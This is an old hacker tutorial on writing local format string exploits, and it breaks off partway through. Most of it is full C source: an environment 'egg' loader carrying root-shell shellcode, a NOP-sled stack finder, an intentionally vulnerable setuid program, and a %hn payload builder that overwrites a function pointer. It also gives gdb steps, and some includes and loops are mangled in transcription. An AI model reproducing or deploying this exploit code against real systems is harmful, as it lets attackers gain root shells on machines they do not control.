How to write Format String Exploits, also a summary of the texts in child-fair pieces of http://community.core-sdi.com/~juliano/ by Delikon (ich@delikon.de/www.Delikon.de.vu/27.4.02) Everyone of the following codes ist not from me, i have rewrite them a little bit, to get them work with every local Format String Bug. Now i will show you every code, you can also download the sourcecode from www.delikon.de.vu in the security section. 1.The Eggshell. This code is used to copy the shellcode into the memory. It is from "Format String Attack on alpha system", and a little bit rewritten. -----------------egg.c-------------------------- /* * this shall set egg shell in our environment * ./egg * truefinder, seo@igrus.inha.ac.kr * */ #include #include #include #define DEF_EGGSIZE 4096 #define DEF_ALIGN 5 char nop[] = { 0x90 }; static char shellcode[] = "\x6a\x17\x58\x31\xdb\xcd\x80\x31" "\xd2\x52\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x52\x53" "\x89\xe1\x8d\x42\x0b\xcd\x80"; int main( int argc, char *argv[] ) { char *eggbuf, *buf_ptr; int align, i, eggsize ; align = DEF_ALIGN; eggsize = DEF_EGGSIZE ; if ( argc < 2 ) { printf ("%s \n", argv[0] ); exit(0); } if ( argc > 1 ) align = DEF_ALIGN + atoi(argv[1]); if ( argc > 2 ) eggsize = atoi(argv[2]) + DEF_ALIGN ; if ( (eggbuf = malloc( eggsize )) == NULL ) { printf ("error : malloc \n"); exit (-1); } /* set egg buf */ memset( eggbuf, (int)NULL , eggsize ); for ( i = 0; i < 250 ; i++ ) strcat ( eggbuf, nop ); strcat ( eggbuf, shellcode ); for ( i =0 ; i < align ; i++ ) strcat ( eggbuf, "A"); memcpy ( eggbuf, "S=", 2 ); putenv ( eggbuf ); system("/bin/sh"); } --------------------------end here---------------------------------------- 2. With "find.c" you can find the location with the shellcode in the stack(from GOOBLES screen-exploit). you can also find the address with, a) gdb ./vuln b) set args %s%s%s%s%s%s%s%s%s%s c) run d) gdb say vuln exit with an error e) x/2000 $ebp f) serch the memory location with the nops(0x90). -------------------------find.c----------------------------------------- #include #include #include /*Thanks to GOBBLES for the code*/ unsigned long get_sp(void) { __asm__ ("movl %esp, %eax"); } int i=0; char *pointer; char *nops = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; main(){ fprintf(stderr, ". SUCHE!\n"); pointer = (char *)get_sp(); while((i = strncmp(pointer, nops, strlen(nops))) != 0) pointer++; if(i == 0) { fprintf(stderr, "Shellcode ist bei ----> : 0x%lx\n", pointer+1); return; } else { fprintf(stderr, "Sorry nimm GDB\n"); return; } } --------------------------end here------------------------------------------ 3. This is the program with the Bug, i have it from "What are format bugs ?" by Christophe BLAESS Christophe GRENIERFrédéreric RAYNAL, in my opinion the best tutorial. --------------------------vuln.c------------------------------------------ /* vuln.c */ #include #include #include int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(-1); } for(i=0;i #include #include #include /** The 4 bytes where we have to write are placed that way : HH HH LL LL The variables ending with "*h" refer to the high part of the word (H) The variables ending with "*l" refer to the low part of the word (L) */ char* build(unsigned int addr, unsigned int value, unsigned int where) { unsigned int length = 128; //too lazy to evaluate the true length ... unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* detailing the value */ valh = (value >> 16) & 0xffff; //top vall = value & 0xffff; //bottom fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* buffer allocation */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* let's build */ if (valh < vall) { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ valh-8, /* set the value for the first %hn */ where, /* the %hn for the high part */ vall-valh, /* set the value for the second %hn */ where+1 /* the %hn for the low part */ ); } else { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ vall-8, /* set the value for the first %hn */ where+1, /* the %hn for the high part */ valh-vall, /* set the value for the second %hn */ where /* the %hn for the low part */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc < 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* adresse */ strtoul(argv[2], NULL, 16), /* valeur */ atoi(argv[3])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; } ------------------------------------end here------------------------------------ Now we get started. (compile it with gcc -o vuln vuln.c, and the following programms, too.) set it setuid root with chown root.root vuln chmod 4775 vuln exp@delikon:~/geht> ls -la insgesamt 91 drwxr-xr-x 2 exp users 253 Apr 27 16:16 . drwx------ 21 exp users 2240 Apr 27 16:32 .. -rwxr-xr-x 1 exp users 15204 A